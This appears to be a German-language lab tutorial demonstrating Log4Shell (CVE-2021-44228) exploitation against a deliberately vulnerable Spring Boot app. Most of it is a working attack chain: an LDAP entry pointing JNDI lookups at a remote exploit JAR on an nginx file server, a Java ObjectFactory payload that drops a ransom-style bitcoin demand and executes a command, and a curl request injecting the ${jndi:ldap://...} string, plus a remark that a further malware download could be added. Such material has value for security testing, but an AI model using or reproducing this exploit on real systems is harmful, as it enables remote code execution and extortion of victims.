
Demonstriert die Ausnutzung von Log4Shell (CVE-2021-44228) mit LDAP-Server, bösartigem JNDI-Payload und einer verwundbaren Spring-Boot-Anwendung für Sicherheitstests.
Test
docker-compose.yml
version: '2'
services:
dockerdj:
image: openidentityplatform/opendj:latest
container_name: ldap
environment:
ROOT_USER_DN: "cn=han"
ROOT_PASSWORD: "han"
BASE_DN: "dc=bumbing,dc=xyz"
ports:
- "389:1389"
- "636:1636"
- "4444:4444"
volumes:
- "./opendj/logs:/opt/opendj/data/logs"
nginx:
image: nginx:latest
container_name: nginx
ports:
- "7080:80"
volumes:
- "./file:/usr/share/nginx/html:ro"
- "./conf/nginx.conf:/etc/nginx/nginx.conf"
docker-compose ausführen
docker-compose up -d
add.ldif
version: 1
dn: dc=bumbing,dc=xyz
objectClass: domain
objectClass: top
dc: bumbing
dn: cn=log4j,dc=bumbing,dc=xyz
objectClass: javaContainer
objectClass: javaNamingReference
objectClass: javaObject
objectClass: top
cn: class
javaClassName: xyz.bumbing.log4j.Exploit
javaCodebase: http://{fileServer}:7080/exploit-1.jar
javaFactory: xyz.bumbing.log4j.Exploit
Befehl zum Hinzufügen eines Eintrags mit Informationen zur Schadcode-Datei
ldapadd -D "cn=han" -w han -H ldap://{ldapServer} -f add.ldif
ldap-Test (Reihenfolge der Parameter wichtig)
curl ldap://{ldapServer}/cn=log4j,dc=bumbing,dc=xyz
Schadcode (es kann ein Befehl zum Herunterladen einer anderen Schaddatei hinzugefügt werden)
public class Exploit implements javax.naming.spi.ObjectFactory{
@Override
public Object getObjectInstance(Object o, Name name, Context context, Hashtable<?, ?> hashtable) throws Exception {
try {
new File("/Users//test").createNewFile();
String msg = "your computer has our virus. if you want to recover your computer, send bitcoin our wallet";
FileOutputStream fileOutputSteam = new FileOutputStream(new File("/Users/hanbeomhee/test"));
StringBuilder sb = new StringBuilder();
sb.append(o.toString()).append("\n");
sb.append(name).append("\n");
sb.append(msg);
fileOutputSteam.write(sb.toString().getBytes(StandardCharsets.UTF_8));
fileOutputSteam.close();
} catch (IOException e) {
e.printStackTrace();
}
Runtime.getRuntime().exec("open /Users//test");
return null;
}
}
Build-Befehl
./gradlew clean build
Wenn kein lokaler Server, laden Sie die Datei exploit-1.jar in den Ordner docker/file des Dateiservers hoch
http://{fileServer}:7080/exploit-1.jar Download überprüfen
Gradle-Struktur
plugins {
id 'org.springframework.boot' version '2.6.1'
id 'io.spring.dependency-management' version '1.0.11.RELEASE'
id 'java'
}
group = 'xyz.bumbing'
version = '0.0.1-SNAPSHOT'
sourceCompatibility = '8'
configurations {
compileOnly {
extendsFrom annotationProcessor
}
}
repositories {
mavenCentral()
}
dependencies {
implementation 'org.springframework.boot:spring-boot-starter-web'
compileOnly 'org.projectlombok:lombok'
annotationProcessor 'org.projectlombok:lombok'
testImplementation 'org.springframework.boot:spring-boot-starter-test'
implementation "org.springframework.boot:spring-boot-starter-log4j2"
modules {
module("org.springframework.boot:spring-boot-starter-logging") {
replacedBy("org.springframework.boot:spring-boot-starter-log4j2", "Use Log4j2 instead of Logback")
}
}
}
test {
useJUnitPlatform()
}
Servercode
@SpringBootApplication
@RestController
@Slf4j
public class Log4jtestApplication {
public static void main(String[] args) {
SpringApplication.run(Log4jtestApplication.class, args);
}
@GetMapping("/log4j")
public void test(String param, HttpServletRequest request){
log.info(request.getHeader("User-Agent"));
}
}
Ausführungsbefehl (muss mit einer Version vor 8u191 erstellt und ausgeführt werden)
java -jar build/libs/log4jtest-0.0.1-SNAPSHOT.jar
curl --location --request GET 'localhost:8080/log4j' \
--header 'User-Agent: ${jndi:ldap://localhost/cn=log4j,dc=bumbing,dc=xyz}'